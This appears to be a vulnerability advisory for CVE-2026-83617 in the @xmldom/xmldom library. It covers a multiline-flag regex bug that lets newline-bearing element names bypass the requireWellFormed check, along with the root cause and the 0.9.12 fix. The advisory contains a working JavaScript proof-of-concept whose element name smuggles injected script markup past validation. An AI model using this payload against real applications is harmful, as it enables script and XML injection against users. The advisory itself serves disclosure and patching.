CVE-2026-83617: @xmldom/xmldom requireWellFormed QName Check Bypass via Embedded Line Terminator
A multiline flag on xmldom's internal regex lets an element or attribute name containing a newline slip past the requireWellFormed serializer check, allowing XML injection even when callers…

The problem
xmldom 0.9.11 ships a shared regexp builder in lib/grammar.js that compiles all anchored productions with the m (multiline) flag. The full-string QName validator, QName_exact, is built from this builder, so its ^ and $ anchors match line boundaries, not string boundaries.
When the requireWellFormed serializer calls QName_exact.test(name), a name whose first line is a valid QName passes unconditionally. Everything after the embedded line terminator (U+000A, U+000D, U+2028, or U+2029) is never checked. The serializer then emits the full name verbatim into the start and end tags, so the bytes after the newline break out of the tag and inject arbitrary markup.
Callers who set requireWellFormed: true specifically to block prior name-injection advisories (GHSA-w2rr-34g9-rvrj, GHSA-4w3w-2rp5-g8jm) remain fully exposed.
Proof of concept
A working proof-of-concept for CVE-2026-83617 in @xmldom/xmldom, with the exact payload below.
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
// Malicious element name: first line is valid QName "a",
// newline lets the rest slip past QName_exact.test(), and
// the serializer emits the name verbatim, breaking out of the tag.
const doc = new DOMImplementation().createDocument(null, 'root', null);
const el = doc.createElement('a\n><script>alert(1)</script');
doc.documentElement.appendChild(el);
// Caller opted into strict validation -- expects an InvalidStateError throw:
console.log(
new XMLSerializer().serializeToString(doc, { requireWellFormed: true })
);
// On 0.9.11: NO throw. Output contains injected ><script>alert(1)</script>
// breakout because "a" (line 1) satisfies the m-anchored QName_exact check.
// Control -- single-line invalid name IS rejected, proving only the
// newline defeats the guard:
const ctrl = new DOMImplementation().createDocument(null, 'root', null);
ctrl.documentElement.appendChild(ctrl.createElement('a b'));
new XMLSerializer().serializeToString(ctrl, { requireWellFormed: true });
// => throws InvalidStateError: The element name "a b" is not a valid XML QNameThe root cause is CWE-91 (XML Injection) combined with a permissive regex (CWE-625). The shared reg() builder in lib/grammar.js applies the m flag globally, so ^...$ in QName_exact are line anchors rather than string anchors. A single conforming line is enough to satisfy .test(), leaving the rest of the string unconstrained.
The fix in 0.9.12 (commit 7b2ec67) changes the anchored name validators so they match against the whole string, regardless of embedded line terminators. Any name that contains a newline character now fails the check and throws InvalidStateError. The default (non-strict) serialization path is intentionally left unchanged, consistent with the W3C DOM Parsing spec.
The fix
Upgrade @xmldom/xmldom to 0.9.12 (npm install @xmldom/xmldom@0.9.12). Also audit every serializeToString() call site in your codebase and ensure untrusted DOM content is serialized with { requireWellFormed: true } -- protection is opt-in and not automatic.
Related research
- highCVE-2026-83618CVE-2026-83618: @xmldom/xmldom requireWellFormed DocType Injection Bypass via Embedded Line Terminator
- highCVE-2026-83609CVE-2026-83609: @xmldom/xmldom XML Injection via Line Terminator in QName Validation
- highCVE-2026-83607CVE-2026-83607: @xmldom/xmldom Element Name Injection via createElement()
- highCVE-2026-83605CVE-2026-83605: @xmldom/xmldom Attribute Name Injection via setAttribute()